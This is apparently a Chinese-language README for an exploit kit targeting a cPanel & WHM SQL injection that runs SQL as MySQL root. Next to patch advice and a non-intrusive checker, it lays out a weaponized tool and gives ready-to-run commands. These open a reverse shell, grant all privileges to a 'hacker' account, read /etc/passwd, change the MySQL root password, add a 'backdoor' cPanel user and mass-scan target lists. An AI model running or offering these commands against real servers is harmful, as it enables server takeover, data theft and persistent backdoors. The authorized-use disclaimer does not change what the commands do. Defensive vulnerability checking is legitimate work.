
CVE‑2026‑58048 – cPanel Root SQL 执行工具包

仅限道德用途 – 经授权的安全测试
本仓库仅为经授权的安全专业人员、蓝队和渗透测试人员提供工具。
未经授权访问计算机系统在CFAA(美国)、Computer Misuse Act(英国)、TCK 243/244(土耳其)以及全球类似法律下均属违法行为。
漏洞概述
CVE‑2026‑58048 是 cPanel & WHM 11.x 版本中的一个严重 SQL 注入漏洞,允许经过身份验证的 cPanel 用户通过数据库重命名功能以 MySQL root 权限执行任意 SQL 命令。
工作原理
- 需要经过身份验证的访问 – 攻击者必须在目标服务器上拥有有效的 cPanel 账户(用户名/密码)。
- SQL 模式操纵 – 该漏洞利用将 MySQL 会话设置为
ANSI_QUOTES 模式,从而改变解析行为。
- 数据库重命名注入 – 重命名数据库时,新名称未被正确过滤,允许攻击者注入任意 SQL 语句。
- Root 权限 – 由于重命名操作以 MySQL root 权限运行,注入的 SQL 会以最高数据库权限执行。
- 影响 – 完全接管数据库、权限提升、服务器沦陷、数据窃取、后门植入以及横向移动。请立即升级!
受影响版本
- cPanel & WHM 11.110 及更早版本 – 存在漏洞
- 11.111 – 11.118 – 存在漏洞
- 11.119 – 11.126 – 存在漏洞
- 11.127 – 11.134 – 存在漏洞
- 11.135 – 11.136 – 存在漏洞
- 11.137.x – 低于
11.137.1.6 的版本存在漏洞
- 11.138.1.6 及更高版本 – 已修补
补丁
- 升级至 cPanel & WHM 11.138.1.6 或更高版本。
- 如果无法升级,作为临时缓解措施,禁用 cPanel 用户的 MySQL 重命名操作。
工具
| 工具 | 用途 | 目标用户 |
|---|
exploit.py | 完整的武器化工具包,具有反向 shell、持久化、UDF RCE、文件读写、数据库操作、代理支持以及批量扫描功能。 | 红队 / 经授权的渗透测试人员 |
safecheck.py | 非侵入式漏洞检查器,可检测 cPanel 版本并评估风险,而不执行任何恶意载荷。生成详细报告。 | 蓝队 / 安全审计人员 |
功能对比
| 功能 | exploit.py | safecheck.py |
|---|
| 漏洞检测 | [+] | [+] |
| 版本检测 | [+] | [+] |
| MySQL root SQL 注入 | [+] | [-] |
| 反向 shell | [+] | [-] |
| 持久化(创建 cPanel 用户) | [+] | [-] |
| UDF RCE(命令执行) | [+] | [-] |
| 文件读/写 | [+] | [-] |
| 数据库操作(任意 SQL) | [+] | [-] |
| 代理支持 | [+] | [+] |
| 批量扫描(多线程) | [+] | [-] |
| 交互式 shell | [+] | [-] |
| 非侵入式(安全)模式 | [-] | [+] |
| 详细/调试模式 | [+] | [+] |
| SSL 验证控制 | [+] | [+] |
| 自定义 User‑Agent | [+] | [+] |
| 请求延迟 / 重试 | [+] | [-] |
| JSON / 报告输出 | [+] | [+] |
| 端点可访问性检查 | [-] | [+] |
| SQL 模式泄漏检测 | [-] | [+] |
使用场景摘要
| 场景 | 推荐工具 |
|---|
| 蓝队 – 验证您的 cPanel 安装是否存在漏洞 | safecheck.py |
| 安全审计 – 非侵入式漏洞评估 | safecheck.py |
| 红队 – 经授权的渗透测试,进行完整利用 | exploit.py |
| 漏洞赏金 – 负责任的披露测试 | safecheck.py |
| 批量扫描 – 检查多个目标是否存在漏洞 | exploit.py(仅检测) |
| 事件响应 – 检查系统是否已被入侵 | safecheck.py |
安装
git clone https://github.com/tc4dy/CVE-2026-58048-PoC-Exploit
cd CVE-2026-58048
pip install -r requirements.txt
requirements.txt
requests
urllib3
colorama
pymysql
参数
exploit.py 参数
| 参数 | 描述 |
|---|
-t, --target | 目标 cPanel URL(例如 https://cpanel.example.com:2083) |
-l, --target-file | 包含目标列表的文件(每行一个),用于批量扫描 |
-u, --mysql-user | cPanel/MySQL 用户名 |
-P, --mysql-pass | cPanel/MySQL 密码 |
--mysql-port | MySQL 端口(默认:3306) |
-p, --port | 覆盖 cPanel 端口(默认来自 URL 或 2083) |
--threads | 多目标线程数(默认:10) |
-o, --output | 将结果保存到文件(单目标) |
--log | 详细输出的日志文件 |
-v, --verbose | 详细输出 |
--proxy | HTTP/HTTPS 代理(例如 http://127.0.0.1:8080) |
-ua, --user-agent | 自定义 User‑Agent |
--no-keep-alive | 不保持会话活跃 |
--delay | 请求之间的延迟(默认:2.0s) |
--max-retries | 最大重试次数(默认:3) |
--ssl-verify | 验证 SSL 证书 |
--cmd | 要执行的命令(前缀为 sql: 或 udf: 以指定类型) |
--inject | 要注入的自定义 SQL(覆盖其他操作) |
--reverse-shell | 反向 shell IP:PORT(使用 UDF) |
--passwd | 更改 MySQL root 密码 |
--adduser | 创建 cPanel 用户(USER DOMAIN PASSWORD) |
--read | 通过 LOAD_FILE 读取文件 |
-i, --interactive | 利用后进入交互式 shell |
--verify | 通过尝试 MySQL 登录验证利用是否成功 |
--ping | 在利用前 ping 目标 |
safecheck.py 参数
| 参数 | 描述 |
|---|
-t, --target | 目标 cPanel URL(例如 https://cpanel.example.com:2083) |
-v, --verbose | 详细输出 |
--proxy | HTTP/HTTPS 代理(例如 http://127.0.0.1:8080) |
-ua, --user-agent | 自定义 User‑Agent |
--ssl-verify | 验证 SSL 证书 |
--timeout | 请求超时时间(秒)(默认:10) |
--log | 将报告保存到文件 |
--json | 以 JSON 格式输出结果 |
场景
| # | 场景 | 命令 |
|---|
| 1 | 快速漏洞检查 | python safecheck.py -t https://cpanel.example.com:2083 |
| 2 | 带报告的详细扫描 | python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v |
| 3 | 反向 shell | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444 |
| 4 | 执行自定义 SQL(root) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%' IDENTIFIED BY 'pwned'" |
| 5 | 读取敏感文件 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd |
| 6 | 更改 MySQL root 密码 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123 |
| 7 | 创建新的 cPanel 用户(持久化) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123 |
| 8 | 利用后进入交互式 shell | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i |
| 9 | 从文件批量扫描 | python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json |
| 10 | 使用代理和自定义 User‑Agent | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)" |
端点与 API 使用
该漏洞利用使用以下 cPanel UAPI 端点:
| 端点 | 用途 |
|---|
/execute/Mysql/create_database | 创建临时数据库 |
/execute/Mysql/delete_database | 清理已创建的数据库 |
/execute/Mysql/rename_database | 存在漏洞的端点 – 触发 SQL 注入 |
/execute/Version/get_version | 身份验证和版本检查 |
/execute/UserManager/create_user | 创建新的 cPanel 用户(持久化) |
/execute/UserManager/list_users | 列出现有用户 |
负责任的使用
- 仅在您拥有或已获得明确书面许可进行测试的系统上使用这些工具。
- 未经授权的访问是非法的且不道德的。
- 作者对任何滥用行为不承担责任。
- 始终遵守您所在国家的法律法规。
本软件仅供教育目的和经授权的安全测试使用。